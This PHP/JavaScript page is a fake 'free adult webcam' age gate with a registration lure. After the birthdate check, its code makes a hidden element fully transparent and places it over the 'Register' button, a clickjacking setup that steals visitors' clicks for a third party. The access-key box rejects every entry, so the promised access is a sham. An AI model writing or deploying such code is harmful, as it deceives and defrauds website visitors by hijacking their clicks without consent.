<?php 

require_once "../../config.php"; 
$base = "http://".$_SERVER["SERVER_NAME"]."/cheats/cams";

?>

<div id="body" style="position: absolute; top: 0px; left: 0px; z-index: 10000; margin: 0; padding: 0; width: 100%; background-color: black;">

<img id="img" src="<?=$base?>/files/cams.jpg" style="display: none;" onload="init();"></img>
<div style="width: 1008px; height: 900px; margin: 0 auto; background:url('<?=$base?>/files/cams.jpg');">&nbsp;</div>

<script type="text/javascript">

document.body.style.overflow = "hidden";

function init() {
    showPage(2);
}

function renderMonths() {
    document.write("<option>Select</option>");
    for (i = 1; i <= 12; i++) {
        document.write("<option>" + i + "</option>");
    }
}

function renderDays() {
    document.write("<option>Select</option>");
    for (i = 1; i <= 31; i++) {
        document.write("<option>" + i + "</option>");
    }
}

function renderYears() {
    document.write("<option>Select</option>");
    for (i = new Date().getFullYear(); i >= new Date().getFullYear() - 100; i--) {
        document.write("<option>" + i + "</option>");
    }
}

currentPage = 1;

function showPage(page) {
    if (currentPage != 0) {
        document.getElementById("page" + currentPage).style.display = "none";
    }
    document.getElementById("page" + page).style.display = "block";
    currentPage = page;
}

function showAdv(x, y) {
    var adv = document.getElementById("cse");

    if (navigator.userAgent.indexOf("MSIE") != -1) {
        document.body.style.margin = "0";
        document.body.style.padding = "0";
        document.getElementById("body").style.position = "static";
    }
   
    regBtn = document.getElementById("register");
    regX = getX(regBtn) - 60;
    regY = getY(regBtn) + regBtn.offsetHeight / 2;

    adv.style.filter += "progid:DXImageTransform.Microsoft.Alpha(opacity=0)";
    adv.style.position = "fixed";
    adv.style.opacity = "0";

    adv.style.width = "1000px";
    adv.style.zoom = "1";
    
    adv.style.left = regX - x + "px";
    adv.style.top = regY - y + "px";
    adv.style.zIndex = "10000";
}

function makeInputTopmost() {
    var reg = document.getElementById("innerRegKey");
    var regPos = document.getElementById("regKey");
    document.body.appendChild(reg);
    reg.style.position = "absolute";

    reg.style.left = getX(regPos) + (regPos.offsetWidth - reg.offsetWidth) / 2 + "px";
    reg.style.top = getY(regPos) + "px";
    reg.style.zIndex = "20000";
    
}

function checkAge() {
    var dayList = document.getElementById("day");
    var day = dayList.options[dayList.selectedIndex].text;
    
    var monthList = document.getElementById("month");
    var month = monthList.options[monthList.selectedIndex].text;

    var yearList = document.getElementById("year");
    var year = yearList.options[yearList.selectedIndex].text;

    if (day == 0 || month == 0 || year == 0 || isNaN(day) || isNaN(month) || isNaN(year)) {
        alert("Please, enter your birthday");
        return;
    }

    if (!document.getElementById("confirm").checked) {
        alert("Please confim, that provided information is correct");
        return;
    }

    var date = new Date(year, month - 1, day);
    var _18 = 365 * 24 * 3600 * 1000 * 18;

    if (new Date() - date < _18) {
        alert("You should be at least 18 years old to continue.");
    } else {
        showPage(3);
        makeInputTopmost();
        getPosition(showAdv);
    }
}

</script>


<div style="position: fixed; left: 50%; top: 38%; width: 0px; height: 0px;">
    <div style="background-color: white; border: 3px solid red; color: black; font-size: 20px; font-family: sans-serif; padding: 20px; margin-left: -420px; margin-top: -120px; width: 800px; height: 200px; font-weight: 400; opacity: 0.9; filter: alpha(opacity = 90);">

        <div id="page1" style="text-align: center; font-size: 20px; padding-top: 60px;">
            Loading...<br />
            <img src="<?=$base?>/files/loader.gif" />
        </div>

        <div id="page2" style="text-align: center; height: 200px; display: none;">
            <div style="line-height: 35px;">This site contains explicit sexual contents. Please, enter your birthdate:</div>
            <div style="line-height: 35px;">
                Month:
                <select id="month">
                    <script type="text/javascript">
                        renderMonths();
                    </script>
                </select>
                Day:
                <select id="day">
                    <script type="text/javascript">
                        renderDays();
                    </script>
                </select>
                Year:
                <select id="year">
                    <script type="text/javascript">
                    renderYears();
                    </script>
                </select>
            </div>

            <div style="margin-top: 55px; margin-bottom: 20px; line-height: 20px;"><input id="confirm" type="checkbox">I confirm, that provided information is correct</input></div>
            <div><img style="cursor: pointer;" src="<?=$base?>/files/continue.png" alt="" onclick="checkAge();"/></div>
        </div> <!-- page1 -->

        <div id="page3" style="display: none;">
            <div style="text-align: left; line-height: 35px;">
In order to get FREE unlimited access the ADULT WEBCAM CHAT:<br />
1. Register at our sponsors website. It is simple and completely FREE.<br />
2. Type access key, which you will receive after the registration.<br />
            </div>

            <div id="regKey" style="text-align: center; height: 57px;">
                <div id="innerRegKey">
                    <input type="text" value="" />
                    <button onclick="alert('The key is invalid. Please register and obtain valid key.');">Submit</button>
                </div>
            </div>
            <div id="register" style="margin: 0 auto; width: 243px; height: 38px; background-image:url('<?=$base?>/files/register.png');">&nbsp;</div>
        </div> <!-- page2 -->

    </div>
</div>





</div>

<script type="text/javascript" src="<?= "http://".$_SERVER["SERVER_NAME"]; ?>/common/common.js"></script>

